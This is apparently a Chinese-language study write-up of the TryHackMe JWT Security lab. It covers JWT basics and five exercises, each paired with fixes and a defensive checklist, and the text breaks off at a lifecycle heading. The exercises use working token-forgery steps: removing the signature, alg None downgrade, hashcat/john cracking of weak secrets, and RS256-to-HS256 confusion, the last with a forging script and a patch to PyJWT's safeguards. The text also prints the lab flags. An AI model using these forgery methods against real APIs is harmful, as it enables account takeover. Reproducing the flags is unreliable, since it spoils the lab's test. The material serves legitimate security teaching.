【THM】JWT Security(JWT安全)-学习

本文相关的TryHackMe实验房间链接:https://tryhackme.com/r/room/jwtsecurity

本文相关内容:学习有关 JWT 的基础知识,了解它们的用途以及如何保护它们。

image-20250112200203376

介绍

在本文内容中,你将了解 JSON Web Tokens(JWTs) 及其相关的安全性。随着API的兴起,基于令牌(Tokens)的身份验证变得越来越流行,而 JWT 仍然是其中最流行的实现之一。不过,在使用 JWT 时,确保其安全实现至关重要。不安全的 JWT 实现可能会导致出现严重的漏洞,使得攻击者能够伪造令牌以及劫持用户会话。

image-20250602032530736

前置学习条件

本文学习目标

  • 了解基于令牌的身份验证;
  • 了解 JSON Web Tokens (JWT);
  • 了解 JWT 为何如此受欢迎;
  • 了解使用 JWT 时的安全注意事项;
  • 了解如何攻击存在漏洞的 JWT 实现。

基于令牌的身份验证

API的兴起

应用程序编程接口,简称 API ,在今天已经变得非常流行。这种繁荣的关键原因之一是:我们能够创建单个 API ,然后该 API 可以同时服务于多个不同的接口,例如Web应用程序和移动应用程序。这允许相同的服务器端逻辑可以被集中化并重用于所有接口。从安全的角度来看,这通常也是很有益的,因为这意味着我们可以在单个 API 中实现服务器端的安全性,无论使用哪个接口,该 API 都能保护我们的服务器。

tips:API-Application Programming Interfaces-应用程序编程接口。

然而,随着 API 的兴起,也创造了新的会话管理方法。由于 cookie 通常与通过浏览器使用的 Web 应用程序相关联,因此基于cookie的 API 身份验证通常效果不佳,因为该解决方案无法适配多种接口类型。这时,基于令牌的会话管理就派上用场了。

tips:API 的兴起催生了基于令牌的会话管理方案,它可以克服传统的Cookie机制在多接口适配上的局限性。

基于令牌的会话管理

基于令牌的会话管理是一个相对较新的概念。它没有使用浏览器的自动cookie管理功能,而是依赖于客户端代码进行处理。在经过身份验证之后,Web应用程序会在请求正文中提供一个令牌。通过使用客户端JavaScript代码,该令牌随后将被存储在浏览器的LocalStorage中。

当发出新请求时,JavaScript代码必须从storage(存储)中加载令牌,并将其作为标头附加。最常见的令牌类型之一是JWT,它通过Authorization:Bearer标头被传递。然而,由于我们没有使用浏览器内置的cookie管理功能,这会让事情的走向变得有点狂野:虽然有标准,但并没有强制要求任何事物必须遵守这些标准。

像JWT这样的令牌是一种标准化基于令牌的会话管理的方法。

tips:JSON Web Tokens(JWT)。

本文的API项目示例

在本文的具体示例中,你将针对多个API进行恶意利用。API可以使用多种不同的方法被文档化。一种流行的方法是创建Postman项目或Swagger文件。虽然我们鼓励你尝试这些解决方案,但它们需要你拥有一个账户,为了方便起见,我们在本文中避免了这种强制要求。取而代之的是,下面提供了一个关于本文所使用的API示例的简化解释。在本文中,除了最后一个练习示例之外(它具有附加功能),所有其他练习示例中的API都会保持一致。在你进行示例练习时,请参考本节以获取指导。本文的示例API是基于Python Flask开发的,因此,本文的代码示例部分也将会是Python形式的。

本文的API端点

本文的API项目示例有一个单一的API端点,即http://MACHINE_IP/api/v1.0/exampleX。其中X将被本文具体示例的编号所替换。此端点可以访问两种HTTP方法:

  • POST: 为了进行身份验证和接收你的JWT,我们需要使用以JSON格式提供的凭据发出POST请求。
  • GET: 为了获取有关你的用户的详细信息,并最终执行权限提升以获取本文实验任务中所要求的flag,我们需要发出GET请求。

本文的API凭据

要在本文的示例中向API进行身份验证,需要发送包含如下凭据的JSON正文:

  • username: user
  • password: passwordX

以上凭据中的X ,在实践本文的具体示例时,需要替换为对应练习示例的编号。

本文的API交互

下面是两个cURL请求,你可以使用它们与API进行交互。对于身份验证,我们可以发出如下的cURL请求:

curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "passwordX" }' http://MACHINE_IP/api/v1.0/exampleX

对于用户验证,我们可以发出如下的cURL请求:

curl -H 'Authorization: Bearer [JWT token]' http://MACHINE_IP/api/v1.0/example2?username=Y

在完成本文练习示例时,必须将上述命令中的[JWT token]组成部分替换为从第一个请求中接收到的JWT。在这种情况下,Y可以是useradmin,这取决于你的权限。

本文的API权限

在本文中,每个练习示例的主要目标都是获取管理员权限并验证这些权限。一旦你拥有一个有效的JWT,其中admin设置为1,你就可以请求获取admin用户的详细信息,这将返回一个与本文具体练习示例相对应的flag。本文的第一个示例将展示其flag的获取过程,但对于其余示例,你必须自行参考本文相关部分的内容并完成与练习示例相关的操作步骤。

部署实验环境

现在你已经了解了API的结构,那么差不多是时候投入到本文的内容学习了。为了完成本文所介绍的示例练习,我们还需要部署与本文密切相关的实验环境,在与本文相关的TryHackMe实验房间页面中,我们可以点击右上角的Start Machine按钮来启动作为目标的实验虚拟机。

image-20250112210132362

关于攻击机,我们可以使用AttackBox机器或者使用我们本地的Kali虚拟机;为了方便起见,在完成本文中的练习示例时,直接使用AttackBox即可。

在下一小节中,我们将继续探索一下JWT的工作原理。

答题

阅读本小节内容并回答以下问题。

在一个请求中被用于传输JWT的常见标头是什么?

Authorization: Bearer

image-20250603093350528

JWT介绍

JWTs(JSON Web Tokens)是可被用于安全地传输会话信息的自包含令牌,它是一个开放标准,能够为任何想要使用JWT的开发人员或库创建者提供信息。JWT的结构如下图所示:

image-20250112210210887

image-20250112210228744

JWT的结构

JWT由三个部分组成,每个组成部分都采用Base64Url编码,并用点(.)分隔:

  • Header(标头) - 标头通常指示令牌的类型(即 JWT)以及所使用的签名算法。
  • Payload(有效载荷) - 有效载荷是令牌的正文,其中会包含声明。声明是为特定实体提供的一条信息。在JWT中,存在已注册的声明,可分为由JWT标准预定义的声明以及公开声明、私有声明,公开声明和私有声明是由开发人员定义的。了解公开声明和私有声明之间的区别是值得的,但并非出于安全目的,因此这不会成为我们在本文讨论中的重点。
  • Signature(签名) - 签名是令牌的一部分,它提供了一种验证令牌真实性的方法。签名是使用JWT标头中指定的算法创建的。我们可以深入研究一下主要的签名算法。

签名算法

尽管在JWT标准中定义了几种不同的算法,但我们在此真正关心的只有三种主要的算法:

  • None - None算法表示不使用任何算法进行签名。实际上,这会生成一个无签名的JWT,这意味着无法通过签名来验证 JWT 中提供的声明。

  • Symmetric Signing(对称签名) - 对称签名算法(例如HS265)通过在生成哈希值之前将密钥值附加到JWT的标头和正文(Payload)后面来创建签名。任何知道密钥的系统都可以对该签名执行验证。

  • Asymmetric Signing(非对称签名) - 非对称签名算法(如RS256)会使用私钥对JWT的标头和正文进行签名(sign),从而创建签名。其实现方式是:首先生成哈希值,然后使用私钥对该哈希值进行加密。任何拥有对应公钥(该公钥与用于创建签名的私钥相关联)的系统均可验证该签名。

tips:签名算法(Signing Algorithms)。

签名的安全性

JWTs可以被加密(被称为JWEs),但是JWTs的关键力量来自于签名。一旦一个JWT被签名(signed),它就可以被发送给客户端,而客户端可以在任何需要的地方使用这个JWT。

单点登录(SSO)系统中,我们可以有一个集中式身份验证服务器,它可以创建在多个应用程序上使用的JWT;然后,每个应用程序都可以验证JWT的签名,如果签名通过验证,那么就可以信任JWT中提供的声明并执行相应的操作。

答题

阅读本小节内容并回答以下问题。

HS256是哪种类型的签名算法示例?

Symmetric Signing (对称签名)

RS256是哪种类型的签名算法的示例?

Asymmetric Signing (非对称签名)

被加密的JWTs可以被称为什么?

JWE

image-20250603094026716

敏感信息泄露

我们将深入探讨的第一个常见的问题是 JWT 中的敏感信息的泄露。

一种常见的基于cookie的会话管理方法是使用服务器端会话来存储多个参数。例如,在PHP中,你可以使用$SESSION['var']=data来存储与用户会话相关的值。这些值不会在客户端公开,因此只能在服务器端进行获取。然而,在使用令牌时,由于整个JWT会被发送到客户端,因此其中的声明也会被公开。如果遵循与之前相同的开发实践,那么敏感信息就可能会被披露。以下是一些实际应用中的例子:

  • 泄露了密码哈希形式的凭据,或者更糟的是,将明文密码作为声明发送。

  • 泄露了内部网络信息,例如身份验证服务器的私有 IP 或主机名。

练习示例1

让我们看一个实际的示例。让我们使用以下 cURL 请求对我们的 API 进行身份验证:

curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password1" }' http://MACHINE_IP/api/v1.0/example1

这将为你提供一个JWT令牌,一旦我们获取到它,就可以解码JWT的正文部分以尝试发现敏感信息。你可以手动解码正文部分或者使用在线网站(如JWT.io)来执行此过程。

{
"username": "user",
"password": "password1",
"admin": 0,
"flag": "secret_flag"
}

使用在线网站:https://jwt.io/

image-20250603095437658

开发错误

在此示例中,敏感信息被添加到了JWT正文(Payload)的声明中,如下所示:

payload = {
    "username" : username,
    "password" : password,
    "admin" : 0,
    "flag" : "[redacted]"
}

access_token = jwt.encode(payload, self.secret, algorithm="HS256")

修复方法

密码或flag等值不应作为声明被添加,因为它们会随着JWT被发送到客户端。取而代之的是,这些值应该被安全地存储在后端的服务器端中。在需要时,可以从已验证的JWT中读取用户名,并用于查找这些值,如下所示:

payload = jwt.decode(token, self.secret, algorithms="HS256")

username = payload['username']
flag = self.db_lookup(username, "flag")

jwt.decode函数的作用是解码并验证JWT令牌的有效性,开发者在开发一个需要身份验证的应用程序时,或者应用程序正在处理API的安全机制时,通常需要解析JWT来获取用户信息或验证请求的合法性,这时候就会用到jwt.decode函数。

jwt.decode函数的参数示例(以 Python PyJWT 为例)

import jwt

#token是待解码的JWT字符串
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiZXhwIjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

# 解码并验证
decoded_payload = jwt.decode(
    token,
    key="your-secret-key",  # 验证签名的密钥(需与编码时一致)
    algorithms=["HS256"],   # 允许的签名算法列表(防止算法混淆攻击)
    options={"verify_signature": True},  # 配置选项,是否验证签名,默认为True
    audience="your-audience",  # 验证JWT的受众(可选参数,aud声明)
    issuer="your-issuer"       # 验证签发者(可选参数,iss声明)
)

print(decoded_payload)

答题

阅读本小节内容并回答以下问题。

第一个示例中的flag是什么?

参考第二小节中的内容,部署与本文密切相关的实验环境,然后在攻击机的终端中进行操作。

#使用实际的目标机器ip地址来填充命令中的MACHINE_IP字段
#curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password1" }' http://MACHINE_IP/api/v1.0/example1

root@ip:~# curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password1" }' http://10.10.17.226/api/v1.0/example1
{
  "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJwYXNzd29yZCI6InBhc3N3b3JkMSIsImFkbWluIjowLCJmbGFnIjoiVEhNezljYzAzOWNjLWQ4NWYtNDVkMS1hYzNiLTgxOGM4MzgzYTU2MH0ifQ.TkIH_A1zu1mu-zu6_9w_R4FUlYadkyjmXWyD5sqWd5U"
}

image-20250603211631753

检查接收到的JWT令牌(练习示例1的标志隐藏在 JWT 的有效载荷中),这里可以使用https://jwt.io/ 在线网站查看JWT:

{
  "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJwYXNzd29yZCI6InBhc3N3b3JkMSIsImFkbWluIjowLCJmbGFnIjoiVEhNezljYzAzOWNjLWQ4NWYtNDVkMS1hYzNiLTgxOGM4MzgzYTU2MH0ifQ.TkIH_A1zu1mu-zu6_9w_R4FUlYadkyjmXWyD5sqWd5U"
}

image-20250603211933501

THM{9cc039cc-d85f-45d1-ac3b-818c8383a560} 。

签名验证错误

JWT的第二个常见错误是没有正确验证签名。如果签名未得到正确验证,那么威胁行为者就可能能够伪造有效的JWT令牌来访问其他用户的账户。在本小节中,让我们来看看常见的签名验证问题。

tips:签名验证错误(Signature Validation Mistakes)。

不验证签名

签名验证的第一个问题就是没有签名验证的情况。如果服务器不验证JWT的签名,那么就可以将JWT中的声明修改为你喜欢的任何内容。虽然不执行签名验证的API并不常见,但API中的某个端点可能省略了签名验证。根据端点的敏感程度,这可能会对业务造成重大影响。

tips:当服务器跳过签名验证时,JWT中的声明就可以被任意修改,攻击者可以移除JWT中的签名(Signature)或者篡改JWT中的Payload,而服务器不会察觉。

练习示例2

首先让我们向API进行身份验证(在发送了下面的请求之后,我们将接收到一个JWT令牌):

curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password2" }' http://MACHINE_IP/api/v1.0/example2

一旦通过身份验证,我们就可以继续验证我们的用户:

#使用接收到的JWT令牌来填充下面命令中的[JWT Token]
curl -H 'Authorization: Bearer [JWT Token]' http://MACHINE_IP/api/v1.0/example2?username=user

在这里,让我们尝试在没有签名的情况下验证我们的用户,我们将删除JWT的第三部分(只留下点)并再次发出请求。你会发现验证仍然有效。这意味着服务器端不验证签名(即服务器跳过了签名验证)。

最后,我们可以将JWT的有效载荷(Payload)部分中的admin声明修改为“1”,并尝试验证成为admin用户以检索本文的练习示例1中的flag。

开发错误

在上述示例中,服务器端不会验证签名,如下所示:

payload = jwt.decode(token, options={'verify_signature': False})

尽管在常规的API上很少看到这种情况,但它却经常发生在server-to-server(服务器到服务器)的API中。如果存在该缺陷,那么在威胁行为者可以直接访问后端服务器的情况下,JWT就很容易被伪造。

修复方法

JWT应该始终被验证,或者应该使用其他身份验证因素(例如证书)来确保从服务器到服务器的通信安全。可以通过提供密钥(或公钥)来验证JWT,如下面的示例所示:

#在信任声明之前,始终验证JWT签名
payload = jwt.decode(token, self.secret, algorithms="HS256")

tips:Server-to-server APIs 可能会假设上游系统已经验证了令牌,在这样的情况下就可能不会正确地去验证JWT;在复杂的分布式系统中,这种假设存在风险。

将签名算法降级为None

签名验证的另一个常见问题是签名算法降级。JWT支持None签名算法,使用该算法实际上意味着JWT将不使用任何签名。虽然这听起来可能有点傻,但在JWT标准中这种做法的初衷是将其用于服务器到服务器(server-to-server)的通信,其中JWT的签名将在上游进程中进行验证,因此,第二服务器将不需要验证签名。但是,假设开发人员没有锁定签名算法,或者至少未拒绝使用None算法。在这种情况下,你可以简单地将你的JWT中指定的算法更改为None,这将导致用于签名验证的库始终返回true,从而允许你能够再次伪造你的令牌中的任何声明。

tips:签名算法降级为None(Downgrading to None)。

练习示例3

向API进行身份验证以接收你的JWT,然后再验证你的用户身份。要执行签名算法降级攻击,你需要手动将JWT标头部分中的alg声明更改为None。为此,你可以通过使用CyberChef的URL-Encoded Base64选项来实现此操作,然后再次提交JWT以验证其是否仍然可以被接受(即使签名不再有效,因为已经进行了更改)。最后,为了完成本文的练习示例3,你可以尝试在刚才的基础上继续修改JWT标头中的admin声明以获取示例3的flag。

{
"alg": "None",
"typ": "JWT"
}

开发错误

虽然这看起来和之前的问题一样,但是从开发的角度来看,它稍微复杂一些。有时,开发人员想确保他们的实现可以接受多种JWT签名验证算法。这种实现通常会读取JWT的标头,并将找到的alg解析到签名验证组件中,如下所示:

header = jwt.get_unverified_header(token)

signature_algorithm = header['alg']

payload = jwt.decode(token, self.secret, algorithms=signature_algorithm)

然而,当威胁行为者指定None作为算法时,签名验证会被绕过。本文所使用的JWT库Pyjwt,已经实现了安全编码来防止此问题。如果在选择None算法时指定了密钥,则会引发异常。

修复方法

如果需要支持多种签名算法,则应将被支持的算法以数组列表的形式提供给decode函数,如下所示:

payload = jwt.decode(token, self.secret, algorithms=["HS256", "HS384", "HS512"])

username = payload['username']
flag = self.db_lookup(username, "flag")

弱对称密钥

如果使用了对称签名算法,JWT的安全性则依赖于所用密钥的强度和熵。如果使用弱密钥,那么攻击者就可以尝试对其进行离线破解以恢复密钥的明文内容。一旦你知道了密钥值,你就可以再次修改你的JWT中的声明,并使用此密钥重新计算出一个有效签名。

tips:弱对称密钥(Weak Symmetric Secrets )。

练习示例 4

在此示例中,我们使用了一个弱密钥来生成JWT。一旦你接收到一个JWT,你可以尝试多种方式破解该密钥。对于我们的示例,我们将讨论如何使用Hashcat来破解此JWT的密钥。当然,你也可以选择使用其他解决方案,例如John,你可以按照以下步骤来基于Hashcat破解示例4中的密钥:

  1. 将接收到的JWT保存到名为jwt.txt的文本文件中。
  2. 下载一个常见的JWT密钥列表。在此示例中,wget https://raw.githubusercontent.com/wallarm/jwt-secrets/master/jwt.secrets.list命令可以被用来下载这样一个列表文件。
  3. 使用Hashcat破解密钥,命令为hashcat -m 16500 -a 0 jwt.txt jwt.secrets.list

一旦你知道了密钥,你就可以伪造一个新的admin令牌来获取练习示例4中的flag。

开发错误

这个问题是由于使用了弱 JWT 密钥造成的。这种情况通常发生在开发人员匆忙操作或者从给定示例中直接复制代码时。

import jwt

# 弱密钥示例(直接从示例代码复制或使用简单字符串)
WEAK_KEY = "secret"  # 常见默认弱密钥
# WEAK_KEY = "123456"  # 数字弱密钥
# WEAK_KEY = "changeme"  # 常见占位符密钥

# 使用弱密钥生成JWT
token = jwt.encode(
    payload={"user_id": 123, "role": "admin"},
    key=WEAK_KEY,
    algorithm="HS256"
)

print(f"生成的危险令牌: {token}")

修复方法

应该选择一个安全的密钥值。由于该密钥值将在软件中被使用,而不是由人工操作使用,因此应该使用一个较长的随机字符串作为密钥。

#安全解决方案
import jwt
import secrets
import os

# 方法1:生成强随机密钥(32字节,HS256推荐长度)
STRONG_KEY = secrets.token_urlsafe(32)  #随机字符串,或者 STRONG_KEY = secrets.token_urlsafe(64)
# 方法2:从环境变量读取(生产环境推荐)
# STRONG_KEY = os.getenv("JWT_SECRET_KEY")  

# 安全生成JWT
safe_token = jwt.encode(
    payload={"user_id": 123, "role": "admin"},
    key=STRONG_KEY,  # 使用强密钥
    algorithm="HS256"
)

print(f"安全生成的令牌: {safe_token}")

签名算法混淆

签名验证的最后一个常见问题是算法混淆攻击的执行。这与None算法降级攻击类似,但它具体发生在对称签名算法与非对称签名算法混淆的情况下。如果使用非对称签名算法,例如RS256,则可能能将算法降级为HS256(一种对称签名算法)。在这种情况下,一些库会默认使用公钥作为对称签名算法的密钥。由于公钥是已知的,因此我们可以尝试使用HS256算法结合公钥来伪造有效签名。

tips:当在JWT中混合使用对称(例如,HS256)和非对称(例如,RS256)算法时,某些库会错误地将非对称算法的公钥当作对称算法的密钥使用,从而导致令牌伪造的发生。

tips:签名算法混淆(Signature Algorithm Confusion)。

练习示例 5

此示例与练习示例3类似。但在这里,我们不被允许使用None算法。然而,一旦你对该示例进行了身份验证,除了JWT,你还将接收到公钥。由于公钥不被认为是敏感信息,因此我们通常都能够找到公钥。有时,公钥甚至会作为一个声明被嵌入到JWT中。在本例中,我们必须将签名算法降级为HS256,然后再使用公钥作为密钥来对JWT进行签名(sign)。你可以使用下面提供的脚本来帮助你伪造此JWT:

import jwt

public_key = "ADD_KEY_HERE"

payload = {
    'username' : 'user',
    'admin' : 0
}

access_token = jwt.encode(payload, public_key, algorithm="HS256")
print (access_token)

tips:使用公钥并基于HS256对称算法而不是RS256非对称算法来签名JWT,然后提交此令牌给服务器,服务器可能会误将公钥当作密钥使用。

注意:我们建议你在这个实际示例中使用AttackBox,因为此机器上已经为你安装了Pyjwt。在运行上述脚本之前,你可以使用你喜欢的文本编辑器来编辑以下文件的内容/usr/lib/python3/dist-packages/jwt/algorithms.py,我们转到此脚本内容的第143行,然后注释掉第143-146行并运行脚本。如果你使用的是你自己的虚拟机作为攻击机,那么你可能需要手动安装Pyjwt(pip 3 install pyjwt)以使用该脚本。你还需要篡改Pyjwt库的algorithm.py文件的258行,以删除is_ssh_key条件,因为针对此漏洞的补丁已发布。请记住,此文件的放置位置可能因计算机环境而异。如果你不熟悉库代码编辑,那么一个更简单的方法是使用jwt.io。一旦你验证上述脚本能够正常工作,你就可以改变JWT中的声明部分,使自己成为一个admin并获取示例5的flag。

开发错误

此示例中的错误类似于示例3,但它更复杂一点。此处虽然不允许使用None算法,但关键问题在于同时允许了对称和非对称签名算法的使用,如下所示:

payload = jwt.decode(token, self.secret, algorithms=["HS256", "HS384", "HS512", "RS256", "RS384", "RS512"])

开发人员应始终注意不要将多种签名算法混合在一起,因为decode函数的secret参数可能会在密钥或公钥之间发生混淆(可能会错误地使用公钥作为secret参数)。

修复方法

虽然这两种类型的签名算法都可以被允许,但是还需要更多的逻辑来确保不会造成混淆,如下所示:

header = jwt.get_unverified_header(token)

algorithm = header['alg']
payload = ""

if "RS" in algorithm:
    payload = jwt.decode(token, self.public_key, algorithms=["RS256", "RS384", "RS512"])
elif "HS" in algorithm:
    payload = jwt.decode(token, self.secret, algorithms=["HS256", "HS384", "HS512"])

username = payload['username']
flag = self.db_lookup(username, "flag")

tips:确保算法明确经过验证,并适当处理密钥。

防御要点

开发人员需注意的要点

  1. 始终验证 JWT 签名。
  2. 拒绝使用不安全的算法,如 None。
  3. 使用安全的随机密钥(而不是弱密钥)进行对称签名。
  4. 避免随意地混合使用对称算法和非对称算法。
  5. 为敏感的服务器到服务器通信实现额外的身份验证(JWT应该始终被验证,或者应该使用其他身份验证因素,例如证书,来确保从服务器到服务器的通信安全)。

正确实现的 JWT 验证是防止攻击者进行令牌伪造和恶意利用的第一道防线,请确保你的应用程序遵循上面这些安全实践以防御攻击者的入侵。

答题

阅读本小节内容并回答以下问题。

先部署好实验环境(参考第二小节中的内容),然后在攻击机的终端中进行操作。

第二个示例中的flag是什么?

#对API进行身份验证(将接收到一个JWT令牌)

root@ip:~$ curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password2" }' http://10.10.17.226/api/v1.0/example2
{
  "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.UWddiXNn-PSpe7pypTWtSRZJi1wr2M5cpr_8uWISMS4"
}

image-20250603212844320

将接收到的JWT中的有效载荷(Payload)部分中的admin声明修改为“1”,然后再尝试以admin用户身份进行验证以检索示例1中的flag。

{
  "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.UWddiXNn-PSpe7pypTWtSRZJi1wr2M5cpr_8uWISMS4"
}

使用https://jwt.io/处理JWT:

image-20250603213227266

image-20250603213819206

以admin用户身份进行验证以检索示例1中的flag。

#curl -H 'Authorization: Bearer [New JWT Token]' http://MACHINE_IP/api/v1.0/example2?username=admin

root@ip:~$ curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.q8De2tfygNpldMvn581XHEbVzobCkoO1xXY4xRHcdJ8' http://10.10.17.226/api/v1.0/example2?username=admin
{
  "message": "Welcome admin, you are an admin, here is your flag: THM{6e32dca9-0d10-4156-a2d9-5e5c7000648a}"
}

image-20250603213929026

THM{6e32dca9-0d10-4156-a2d9-5e5c7000648a} 。

第三个示例中的flag是什么(下文的目标ip发生变化是因为重置了实验环境,非技术问题)?

root@ip:~$ curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password3" }' http://10.10.209.126/api/v1.0/example3
{
  "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0._yybkWiZVAe1djUIE9CRa0wQslkRmLODBPNsjsY8FO8"
}

image-20250603225651902

使用 https://jwt.io/ 查看JWT,并处理JWT的Payload部分:

image-20250603224602093

image-20250603225354985

#上述JWT的后两个组成部分
eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.q8De2tfygNpldMvn581XHEbVzobCkoO1xXY4xRHcdJ8

然后再使用CyberChef单独处理JWT的Header部分:

{
  "typ": "JWT",
  "alg": "HS256"
}

image-20250603224731419

ew0KICAidHlwIjogIkpXVCIsDQogICJhbGciOiAiTm9uZSINCn0=
#将新的Header部分与之前得到的JWT后两个部分进行组合,得到完整的New Token:
ew0KICAidHlwIjogIkpXVCIsDQogICJhbGciOiAiTm9uZSINCn0=.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.q8De2tfygNpldMvn581XHEbVzobCkoO1xXY4xRHcdJ8

image-20250603230857825

以admin用户身份进行验证以检索示例3中的flag。

#curl -H 'Authorization: Bearer [New JWT Token]' http://MACHINE_IP/api/v1.0/example3?username=admin
root@ip:~$curl -H 'Authorization: Bearer ew0KICAidHlwIjogIkpXVCIsDQogICJhbGciOiAiTm9uZSINCn0=.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.q8De2tfygNpldMvn581XHEbVzobCkoO1xXY4xRHcdJ8' http://10.10.209.126/api/v1.0/example3?username=admin

image-20250603225814250

THM{fb9341e4-5823-475f-ae50-4f9a1a4489ba} 。

第四个示例中的flag是什么?

root@ip:~$curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password4" }' http://10.10.209.126/api/v1.0/example4
{
  "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.yN1f3Rq8b26KEUYHCZbEwEk6LVzRYtbGzJMFIF8i5HY"
}
root@ip:~$echo "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.yN1f3Rq8b26KEUYHCZbEwEk6LVzRYtbGzJMFIF8i5HY" > jwt.txt
root@ip:~$wget https://raw.githubusercontent.com/wallarm/jwt-secrets/master/jwt.secrets.list

root@ip:~$john --format=HMAC-SHA256 jwt.txt --wordlist=jwt.secrets.list
#hashcat -m 16500 -a 0 jwt.txt jwt.secrets.list
#hashcat -m 16500 -a 0 jwt.txt jwt.secrets.list --show

image-20250603231726785

image-20250603233541167

image-20250603232636471

转到 jwt.io 查看此JWT令牌,将Payload中的admin修改为1,并且将密钥值设置为“secret”:

image-20250603232912471

root@ip:~$curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.gpHtgNe4OSgiQHuf8W7JFfSNTi9tEnDKvK7QAk2DFBc' http://10.10.209.126/api/v1.0/example4?username=admin

image-20250603233022102

THM{e1679fef-df56-41cc-85e9-af1e0e12981b} 。

第五个示例中的flag是什么?

root@ip:~$curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password5" }' http://10.10.209.126/api/v1.0/example5
{
  "public_key": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHSoarRoLvgAk4O41RE0w6lj2e7TDTbFk62WvIdJFo/aSLX/x9oc3PDqJ0Qu1x06/8PubQbCSLfWUyM7Dk0+irzb/VpWAurSh+hUvqQCkHmH9mrWpMqs5/L+rluglPEPhFwdL5yWk5kS7rZMZz7YaoYXwI7Ug4Es4iYbf6+UV0sudGwc3HrQ5uGUfOpmixUO0ZgTUWnrfMUpy2dFbZp7puQS6T8b5EJPpLY+iojMb/rbPB34NrvJKU1F84tfvY8xtg3HndTNPyNWp7EOsujKZIxKF5/RdW+Qf9jjBMvsbjfCo0LiNVjpotiLPVuslsEWun+LogxR+fxLiUehSBb8ip",
  "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.kR4DjBkwFE9dzPNeiboHqkPhs52QQgaHcC2_UGCtJ3qo2uY-vANIC6qicdsfT37McWYauzm92xflspmSVvrvwXdC2DAL9blz3YRfUOcXJT03fVM7nGp8E7uWSBy9UESLQ6PBZ_c_dTUJhWg35K3d8Jao2czC0JGN3EQxhcCGtxJ1R7T9tzBMaqW-IRXfTCq3BOxVVF66ePEfvG7gdyjAnWrQFktRBIhU4LoYwem3UZ7PolFf0v2i6jpnRJzMpqd2c9oMHOjhCZpy_yJNl-1F_UBbAF1L-pn6SHBOFdIFt_IasJDVPr1Ybv75M26o8OBwUJ1KK_rwX41y5BCNGcks9Q"
}

image-20250603233113381

在攻击机的终端中打开/usr/lib/python3/dist-packages/jwt/algorithms.py ,并按照上文内容进行修改(nano -l)。

我们转到此脚本内容的第143行,然后注释掉第143-146行并运行脚本。

image-20250603234052877

然后再创建一个包含如下内容的py脚本nano jwt_script.py,其中public_key部分的内容可以参考上面得到的JWT令牌:

import jwt
public_key = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHSoarRoLvgAk4O41RE0w6lj2e7TDTbFk62WvIdJFo/aSLX/x9oc3PDqJ0Qu1x06/8PubQbCSLfWUyM7Dk0+irzb/VpWAurSh+hUvqQCkHmH9mrWpMqs5/L+rluglPEPhFwdL5yWk5kS7rZMZz7YaoYXwI7Ug4Es4iYbf6+UV0sudGwc3HrQ5uGUfOpmixUO0ZgTUWnrfMUpy2dFbZp7puQS6T8b5EJPpLY+iojMb/rbPB34NrvJKU1F84tfvY8xtg3HndTNPyNWp7EOsujKZIxKF5/RdW+Qf9jjBMvsbjfCo0LiNVjpotiLPVuslsEWun+LogxR+fxLiUehSBb8ip"
payload = {
    'username' : 'user',
    'admin' : 1
}
access_token = jwt.encode(payload, public_key, algorithm="HS256")
print (access_token)

运行上述脚本获得新的JWT令牌:

root@ip:~$python3.9 jwt_script.py

image-20250604000516316

或者我们也可以使用jwt.io 处理示例5中JWT:

image-20250604000742411

image-20250604001054807

root@ip:~$curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.7jJBvWpF9JT4DdeUWnl0o7imBV0wa0HTDPRMavGbPyU' http://10.10.209.126/api/v1.0/example5?username=admin

image-20250604001004305

THM{f592dfe2-ec65-4514-a135-70ba358f22c4} 。

image-20250604002903170

JWT生命周期

令牌有效期

